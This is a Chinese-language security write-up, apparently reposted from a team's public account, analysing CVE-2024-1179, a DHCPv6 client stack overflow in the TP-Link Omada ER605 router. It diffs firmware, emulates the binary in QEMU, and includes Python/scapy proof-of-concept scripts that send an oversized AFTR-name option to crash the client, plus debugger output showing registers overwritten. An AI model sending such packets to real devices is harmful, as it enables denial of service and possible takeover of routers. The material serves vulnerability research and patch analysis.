Pwn2Own TORONTO 2023 (CVE-2024-1179) & TP-Link Omada ER605

IoT 2周前 admin
25 0 0
Pwn2Own TORONTO 2023 (CVE-2024-1179) & TP-Link Omada ER605

1

介绍&固件下载

漏洞点在client端,而且client端会挂载到546这个端口上,学习后知道client会接收server发送的确认报文

所以漏洞点是在处理接收报文时发生的

Pwn2Own TORONTO 2023 (CVE-2024-1179) & TP-Link Omada ER605

修复固件:

https://static.tp-link.com/upload/firmware/2024/202401/20240124/ER605(UN)_v2_2.2.4%20Build%2020240119.zip

漏洞固件:

https://static.tp-link.com/upload/firmware/2023/202312/20231221/ER605(UN)_v2_2.2.3%20Build%2020231201.zip

2

漏洞分析

将Fix版本和漏洞版本进行diff,根据漏洞描述,可以很快速的确认漏洞点在dhcpv6-client中,将dhcpv6c进行具体的diff,发现了一个函数内memest附近有被fix的情况,基本确定此文件为漏洞文件

这是一个发生在dhcpv6 client中的漏洞,而这个binary在网上有一部分公开的源码,下载链接,借助这个源码来辅助分析大大减低了逆向工作量

0x405F08这个函数中发现了关键fix

Pwn2Own TORONTO 2023 (CVE-2024-1179) & TP-Link Omada ER605

fix版本对case64这里的memcpy条件进行了限制

在处理aftr_name时,将字符组合时没有大小检查导致的溢出

这是漏洞版本

case 64:        if ( optlen )        {          v65 = (a3 + 232);          if ( a3 != -232 )          {            if ( cp )            {              tlen = tlen[4];              v64 = 1;              opt = 0;              while ( tlen )              {                if ( optlen < tlen )                  break;                memcpy(&v65[opt], cp + v64, tlen);                v15 = &tlen[v64];                if ( &tlen[v64] >= optlen )                  break;                v16 = &tlen[opt];                v64 = (v15 + 1);                tlen = v15[cp];                opt = (v16 + 1);                v16[v65] = 46;              }            }          }        }

这是fix版本

case 64:        if ( !v62 )          goto LABEL_110;        v66 = (const char *)(a3 + 232);        if ( a3 == -232 || !cp )          goto LABEL_110;        size = (unsigned __int8 *)(char)size[4];        v65 = 1;        opt = 0;        while ( 1 )        {          if ( !size )            goto LABEL_110;          if ( (int)size < 0 || v62 < (int)size || (int)size >= 64 - opt )            break;          memcpy(&v66[opt], cp + v65, size);          v16 = (const char *)&size[v65];          if ( (int)&size[v65] >= v62 )            goto LABEL_110;          v17 = &size[opt];          v65 = (int)(v16 + 1);          size = (unsigned __int8 *)v16[cp];          opt = (int)(v17 + 1);          v17[(_DWORD)v66] = 46;        }        sub_4043BC(6, "getAftrName", "tlen is more than DHCP6_AFTRNAME_SIZE");        goto LABEL_110;

3

固件模拟

接下来需要编写Poc来触发此漏洞,这里的dhcpv6需要一些配置文件,所以采取qemu-system来模拟,搭建一个给qemu-system用的网络

sudo ifconfig ens32 downsudo brctl addbr br0sudo brctl addif br0 ens32sudo ifconfig br0 0.0.0.0 promisc upsudo ifconfig ens32 0.0.0.0 promisc upsudo dhclient br0sudo tunctl -t tap0sudo brctl addif br0 tap0sudo ifconfig tap0 0.0.0.0 promisc upsudo qemu-system-mips     -M malta -kernel vmlinux-3.2.0-4-4kc-malta     -hda debian_wheezy_mips_standard.qcow2     -append "root=/dev/sda1"     -net nic,macaddr=00:16:3e:00:00:01     -net tap,ifname=tap0,script=no,downscript=no     -nographicbash run.shroot@debian-mips:~# ifconfig eth0 192.168.10.200/24 upmount -t proc /proc ./squashfs-root/procmount -o bind /dev ./squashfs-root/devchroot ./squashfs-root/ sh

发现并没有/etc/init.d/rcS

需要手动启动dhcp6c

/etc/init.d/dhcp6c这个也启动不了

在启动前需要patch一个地方

将<0改成>=0,ida patch会失败

用010修改了

0A 61 00 1A B8 65 00 65 00 1A 70 64 80 9A E2 67


patch前

if ( setsockopt(sock, 0xFFFF, 512, &v41, 4) < 0 )              {                v16 = _errno_location();                v17 = strerror(*v16);                v18 = "setsockopt(SO_REUSEPORT): %s";                goto LABEL_66;              }

patch后

if ( setsockopt(sock, 0xFFFF, 512, &v41, 4) >= 0 )              {                v16 = _errno_location();                v17 = strerror(*v16);                v18 = "setsockopt(SO_REUSEPORT): %s";                goto LABEL_66;              }

接着用以下命令就可以启动dhcp6c了,dhcp6c正常挂载到了546端口上,这个dhcp6c.conf是手动创建的,里面空的(其实完全可以直接qemu-user来启动)

/ # /usr/sbin/dhcp6c -c /tmp/dhcp6c/dhcp6c.conf -Df eth0/ # netstat -unapActive Internet connections (servers and established)Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    udp        0      0 0.0.0.0:54249           0.0.0.0:*                           1525/rpc.statdudp        0      0 0.0.0.0:821             0.0.0.0:*                           1494/rpcbindudp        0      0 0.0.0.0:68              0.0.0.0:*                           2237/dhclientudp        0      0 127.0.0.1:853           0.0.0.0:*                           1525/rpc.statdudp        0      0 0.0.0.0:111             0.0.0.0:*                           1494/rpcbindudp        0      0 0.0.0.0:52945           0.0.0.0:*                           2237/dhclientudp        0      0 :::546                  :::*                                2380/dhcp6cudp        0      0 :::46377                :::*                                1525/rpc.statdudp        0      0 :::821                  :::*                                1494/rpcbindudp        0      0 :::61764                :::*                                2237/dhclientudp        0      0 :::111                  :::*                                1494/rpcbind

4

POC

这是第一份远程有响应的Poc

import socketfrom pwn import *import binasciifrom threading import Threadfrom scapy.all import *from scapy.layers.inet6 import IPv6, UDPfrom scapy.layers.dhcp6 import DHCP6_Reply, DHCP6OptServerId, DHCP6OptClientId
context(os='linux', arch='mips', log_level='debug')
li = lambda x : print('x1b[01;38;5;214m' + str(x) + 'x1b[0m')ll = lambda x : print('x1b[01;38;5;1m' + str(x) + 'x1b[0m')lg = lambda x : print('33[32m' + str(x) + '33[0m')
ip = '192.168.10.200'port = 546
def send_dhcp6_reply_and_listen(interface, src_ipv6, dst_ipv6, src_mac, dst_mac, transaction_id):    # 构造以太网层    ether_layer = Ether(src=src_mac, dst=dst_mac)
   # 构造IPv6层    ipv6_layer = IPv6(src=src_ipv6, dst=dst_ipv6)
   # 构造UDP层    udp_layer = UDP(sport=547, dport=546)  # 注意端口号,服务器端是547,客户端是546
   # 构造DHCPv6 REPLY消息    dhcp6_reply = DHCP6_Reply(trid=transaction_id)
   # 构造Server ID选项    server_id = DHCP6OptServerId(duid=DUID_LLT(hwtype=1, lladdr=src_mac))
   # 构造Client ID选项    client_id = DHCP6OptClientId(duid=DUID_LLT(hwtype=1, lladdr=dst_mac))
   # 组合所有层    packet = ether_layer / ipv6_layer / udp_layer / dhcp6_reply / server_id / client_id
   # 发送数据包    sendp(packet, iface=interface, verbose=False)    print("DHCPv6 Reply消息已发送,等待响应...")
   # 设置监听过滤器,捕获DHCPv6 Solicit或Request等消息作为响应    def filter_reply(pkt):        return DHCP6_Reply in pkt and pkt[DHCP6_Reply].trid == transaction_id
   # 监听网络上的回应,持续5    response = sniff(iface=interface, filter="udp and port 546", prn=lambda x: x.show(),                     lfilter=filter_reply, timeout=5, count=1)
   # 判断是否收到回应    if response:        print("成功接收到DHCPv6回应。")    else:        print("未收到DHCPv6回应。")
# 请根据你的具体环境调整以下参数interface_name = "br0"  # Linux中的网络接口名称#source_ipv6 = "fe80::8df1:7906:7b33:58d7"  # 源IPv6地址source_ipv6 = "fe80::21c:42ff:fee0:61cf"  # 源IPv6地址destination_ipv6 = "fe80::216:3eff:fe00:1"  # 目的IPv6地址(虚拟机内的dhcp6c客户端IPv6地址)source_mac = "00:0c:29:b2:c1:98"  # 源MAC地址destination_mac = "00:16:3E:00:00:01"  # 目的MAC地址(虚拟机内的网络接口MAC地址)#transaction_id = 0x00abcdef  # 事务IDtransaction_id = 0x25d6bd  # 事务IDgetAftrName = "a"
# 发送DHCPv6 ADVERTISE消息send_dhcp6_reply_and_listen(interface_name, source_ipv6, destination_ipv6, source_mac, destination_mac, transaction_id)

远程响应

Mar/28/2024 02:41:42: client6_recv: receive reply from fe80::21c:42ff:fee0:61cf%eth0 on eth0Mar/28/2024 02:41:42: dhcp6_get_options: get DHCP option server ID, len 14Mar/28/2024 02:41:42:   DUID: 00:01:00:01:00:00:00:00:00:0c:29:b2:c1:98Mar/28/2024 02:41:42: dhcp6_get_options: get DHCP option client ID, len 14Mar/28/2024 02:41:42:   DUID: 00:01:00:01:00:00:00:00:00:16:3e:00:00:01Mar/28/2024 02:41:42: client6_recvreply: XID mismatch

这个case 64通过fix版本进行查看的时候可以发现是aftr_name,scapy里好像没有,所以udp重放了一下流量,拿到bytes类型的Poc,同时在qemu里tcpdump抓了一个包,通过流量包分析出了格式

00000000  07 25 d6 bd 00 02 00 0e  00 01 00 01 00 00 00 00   .%...... ........00000010  00 0c 29 b2 c1 98 00 01  00 0e 00 01 00 01 00 00   ..)..... ........00000020  00 00 00 16 3e 00 00 01 

0x07是Message type

0x25d6bd是Transaction ID

0x0002是option

0x0e是Length

0001000100000000000c29b2c198是DUID

我们需要控制的是option和length以及后面option对应的数据,控制option为64,length为payload的长度,对应的数据存放payload,这个payload格式需要符合after_name的格式


  0                   1                   2                   3   0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1  +-------------------------------+-------------------------------+  |    OPTION_AFTR_NAME: 64       |          option-len           |  +-------------------------------+-------------------------------+  |                                                               |  |                  tunnel-endpoint-name (FQDN)                  |  |                                                               |  +---------------------------------------------------------------+
     OPTION_AFTR_NAME: 64
           option-len: Length of the tunnel-endpoint-name field in                        octets.
 tunnel-endpoint-name: A fully qualified domain name of the AFTR                        tunnel endpoint.
             Figure 1: AFTR-Name DHCPv6 Option Format
The tunnel-endpoint-name field is formatted as required in DHCPv6[RFC3315] Section 8 ("Representation and Use of Domain Names").Briefly, the format described is using a single octet noting thelength of one DNS label (limited to at most 63 octets), followed bythe label contents.  This repeats until all labels in the FQDN areexhausted, including a terminating zero-length label.  Any updates toSection 8 of DHCPv6 [RFC3315] also apply to encoding of this field.An example format for this option is shown in Figure 2, which conveysthe FQDN "aftr.example.com.".
  +------+------+------+------+------+------+------+------+------+   | 0x04 |   a  |   f  |   t  |   r  | 0x07 |   e  |   x  |   a  |   +------+------+------+------+------+------+------+------+------+   |   m  |   p  |   l  |   e  | 0x03 |   c  |   o  |   m  | 0x00 |   +------+------+------+------+------+------+------+------+------+

简单来说就是每一串aftr_name字符串前都需要标明长度,从第二个开始长度会转成.

比如上面的例子中

当格式为x04aftrx07examplex03comx00

程序解析之后的结果为aftr.example.com

通过这样的格式给出以下crash Poc

import socketfrom pwn import *import binasciifrom threading import Threadfrom scapy.all import *from scapy.layers.inet6 import IPv6, UDPfrom scapy.layers.dhcp6 import DHCP6_Reply, DHCP6OptServerId, DHCP6OptClientId
context(os='linux', arch='mips', log_level='debug')
li = lambda x : print('x1b[01;38;5;214m' + str(x) + 'x1b[0m')ll = lambda x : print('x1b[01;38;5;1m' + str(x) + 'x1b[0m')lg = lambda x : print('33[32m' + str(x) + '33[0m')
ip = '192.168.10.200'port = 546
def send_dhcp6_reply_and_listen(interface, src_ipv6, dst_ipv6, src_mac, dst_mac, transaction_id):    # 构造以太网层    ether_layer = Ether(src=src_mac, dst=dst_mac)    li(ether_layer)
   # 构造IPv6层    ipv6_layer = IPv6(src=src_ipv6, dst=dst_ipv6)    li(ipv6_layer)
   # 构造UDP层    udp_layer = UDP(sport=547, dport=546)  # 注意端口号,服务器端是547,客户端是546    li(udp_layer)
   # 构造DHCPv6 REPLY消息    dhcp6_reply = DHCP6_Reply(trid=transaction_id)    li(dhcp6_reply)
   # 构造Server ID选项    server_id = DHCP6OptServerId(duid=DUID_LLT(hwtype=1, lladdr=src_mac))    li(server_id)
   # 构造Client ID选项    client_id = DHCP6OptClientId(duid=DUID_LLT(hwtype=1, lladdr=dst_mac))    #li(client_id)
   p1 = b'x00x40x03x00'    p2 = (b'xff' + b'a' * 0xff) * 3    li(hex(len(p2)))    p1 += p2
   # 组合所有层    packet = ether_layer / ipv6_layer / udp_layer / dhcp6_reply / p1    li(bytes(packet))
   # 发送数据包    sendp(packet)    print("DHCPv6 Reply消息已发送,等待响应...")
   # 设置监听过滤器,捕获DHCPv6 Solicit或Request等消息作为响应    def filter_reply(pkt):        return DHCP6_Reply in pkt and pkt[DHCP6_Reply].trid == transaction_id
   # 监听网络上的回应,持续5    response = sniff(iface=interface, filter="udp and port 546", prn=lambda x: x.show(),                     lfilter=filter_reply, timeout=5, count=1)
   # 判断是否收到回应    if response:        print("成功接收到DHCPv6回应。")    else:        print("未收到DHCPv6回应。")
# 请根据你的具体环境调整以下参数interface_name = "br0"  # Linux中的网络接口名称#source_ipv6 = "fe80::f421:a8ff:fe5a:ff0d"  # 源IPv6地址source_ipv6 = "fe80::21c:42ff:fee0:61cf"  # 源IPv6地址destination_ipv6 = "fe80::216:3eff:fe00:1"  # 目的IPv6地址(虚拟机内的dhcp6c客户端IPv6地址)#destination_ipv6 = "fe80::21c:42ff:fee0:61cf"  # 目的IPv6地址(虚拟机内的dhcp6c客户端IPv6地址)source_mac = "00:0c:29:b2:c1:98"  # 源MAC地址destination_mac = "00:16:3E:00:00:01"  # 目的MAC地址(虚拟机内的网络接口MAC地址)#transaction_id = 0x00abcdef  # 事务IDtransaction_id = 0x25d6bd  # 事务IDgetAftrName = "a"
# 发送DHCPv6 ADVERTISE消息send_dhcp6_reply_and_listen(interface_name, source_ipv6, destination_ipv6, source_mac, destination_mac, transaction_id)

远程crash

Mar/28/2024 06:42:03: client6_recv: receive reply from fe80::21c:42ff:fee0:61cf%eth0 on eth0Mar/28/2024 06:42:03: dhcp6_get_options: get DHCP option opt_64, len 768Segmentation fault

gdbserver调试之后发现在memcpy这里产生了崩溃

────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────────────────────────────────*V0   0x7fbda0e0 ◂— 0x61616161 ('aaaa')*V1   0x7fbdb004*A0   0x7fbdab15 ◂— 0x61616161 ('aaaa')*A1   0x7fbd9c05 ◂— 0x61616161 ('aaaa')*A2   0xfffffffc*A3   0x61616161 ('aaaa')*T0   0x61616161 ('aaaa')*T1   0xfffff0db*T2   0x7fbda0e4 ◂— 0x61616161 ('aaaa')*T3   0x61000000*T4   0x706f2050 ('P op') T5   0x0 T6   0xe*T7   0x6e6f6974 ('tion')*T8   0x42a06c —▸ 0x77f2cefc ◂— move $v0, $a0*T9   0x77f2cefc ◂— move $v0, $a0*S0   0x7fbd9c00 ◂— 0x616161ff*S1   0x7fbd9ff8 ◂— 0x0 S2   0x5 S3   0x4018b1 —▸ 0x64f2f0 ◂— 0x0 S4   0x77f5b000 S5   0x77f5b000 S6   0x77f5e518 —▸ 0x77ebb000 ◂— 0x464c457f S7   0x77f5fd8c ◂— 1 S8   0x0 GP   0x77f652c0 FP   0x0*SP   0x7fbd9720 ◂— 0x7*PC   0x77f2d1b4 ◂— sw $t0, -4($v1)──────────────────────────────────────────────────────────────────────────────────────────[ DISASM / mips / set emulate on ]──────────────────────────────────────────────────────────────────────────────────────────0x77f2d1b4    sw     $t0, -4($v1)   0x77f2d1b8    sltiu  $t0, $t1, 0x13   0x77f2d1bc    beqz   $t0, 0x77f2d160
  0x77f2d1c0    addiu  $a0, $a0, 0x10   0x77f2d1c4    addiu  $a3, $a2, -0x14   0x77f2d1c8    srl    $a3, $a3, 4   0x77f2d1cc    addiu  $v1, $a3, 1   0x77f2d1d0    sll    $v1, $v1, 4   0x77f2d1d4    addiu  $a2, $a2, -0x11   0x77f2d1d8    sll    $a3, $a3, 4   0x77f2d1dc    addu   $a1, $a1, $v1──────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────────00:0000│ sp 0x7fbd9720 ◂— 0x701:0004│    0x7fbd9724 —▸ 0x413f34 ◂— 'dhcp6_get_options'02:0008│    0x7fbd9728 —▸ 0x4137e4 ◂— addi $s4, $v1, 0x6567 /* 'get DHCP option %s, len %d' */03:000c│    0x7fbd972c —▸ 0x42a758 ◂— 'opt_64'04:0010│    0x7fbd9730 ◂— 0x30005:0014│    0x7fbd9734 ◂— '<8>Mar 28 06:46:46 : '06:0018│    0x7fbd9738 ◂— 'ar 28 06:46:46 : '07:001c│    0x7fbd973c ◂— '8 06:46:46 : '────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────── ► f 0 0x77f2d1b4──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────pwndbg> vmmapLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA     Start        End Perm     Size Offset File  0x400000   0x41a000 r-xp    1a000      0 /usr/sbin/dhcp6c  0x42a000   0x42b000 rw-p     1000  1a000 /usr/sbin/dhcp6c  0x42b000   0x42c000 rwxp     1000      0 [anon_0042b]  0x647000   0x69c000 rwxp    55000      0 [heap]0x77d53000 0x77d6c000 r-xp    19000      0 /lib/libeasylogger.so0x77d6c000 0x77d6d000 rw-p     1000   9000 /lib/libeasylogger.so0x77d6d000 0x77d72000 rw-p     5000      0 [anon_77d6d]0x77d72000 0x77d87000 r-xp    15000      0 /lib/libubox.so0x77d87000 0x77d88000 rw-p     1000   5000 /lib/libubox.so0x77d88000 0x77e6f000 r-xp    e7000      0 /usr/lib/libiconv.so.20x77e6f000 0x77e70000 rw-p     1000  d7000 /usr/lib/libiconv.so.20x77e70000 0x77e86000 r-xp    16000      0 /lib/libuci.so0x77e86000 0x77e87000 rw-p     1000   6000 /lib/libuci.so0x77e87000 0x77ea9000 r-xp    22000      0 /lib/libgcc_s.so.10x77ea9000 0x77eaa000 rw-p     1000  12000 /lib/libgcc_s.so.10x77eaa000 0x77eba000 r-xp    10000      0 /usr/lib/liblogger.so0x77eba000 0x77ebb000 rw-p     1000      0 /usr/lib/liblogger.so0x77ebb000 0x77f4d000 r-xp    92000      0 /lib/ld-musl-mipsel-sf.so.10x77f5c000 0x77f5e000 rw-p     2000  91000 /lib/ld-musl-mipsel-sf.so.10x77f5e000 0x77f60000 rwxp     2000      0 [anon_77f5e]0x7fbba000 0x7fbdb000 rw-p    21000      0 [stack]0x7fff7000 0x7fff8000 r-xp     1000      0 [vdso]pwndbg> p/x 0x77f2d1b4-0x77ebb000$1 = 0x721b4

此时可以看到寄存器已经被劫持,exp这里就不详细展开了,至此Pwn2Own TORONTO 2023 (CVE-2024-1179) & TP-Link Omada ER605漏洞分析完成

5

Reference

  • https://www.zerodayinitiative.com/advisories/ZDI-24-085/

  • https://www.arvik.top/article/51536621.html

  • https://zhuanlan.zhihu.com/p/653315890

  • https://community.cisco.com/t5/%E7%BD%91%E7%BB%9C%E6%96%87%E6%A1%A3/%E5%8E%9F%E5%88%9B-dhcpv6-%E8%AF%A6%E6%83%85%E5%8F%8A%E5%85%B6%E6%8A%A5%E6%96%87%E4%BB%8B%E7%BB%8D-%E9%99%84%E9%85%8D%E7%BD%AE%E6%A1%88%E4%BE%8B%E5%8F%8A%E9%AA%8C%E8%AF%81%E5%91%BD%E4%BB%A4/ta-p/4372251

  • https://datatracker.ietf.org/doc/html/rfc6334

文末:

欢迎师傅们加入我们:

星盟安全团队纳新群1:222328705

星盟安全团队纳新群2:346014666

有兴趣的师傅欢迎一起来讨论!

PS:团队纳新简历投递邮箱:

[email protected]

Pwn2Own TORONTO 2023 (CVE-2024-1179) & TP-Link Omada ER605

原文始发于微信公众号(星盟安全):Pwn2Own TORONTO 2023 (CVE-2024-1179) & TP-Link Omada ER605

版权声明:admin 发表于 2024年4月2日 下午5:31。
转载请注明:Pwn2Own TORONTO 2023 (CVE-2024-1179) & TP-Link Omada ER605 | CTF导航

相关文章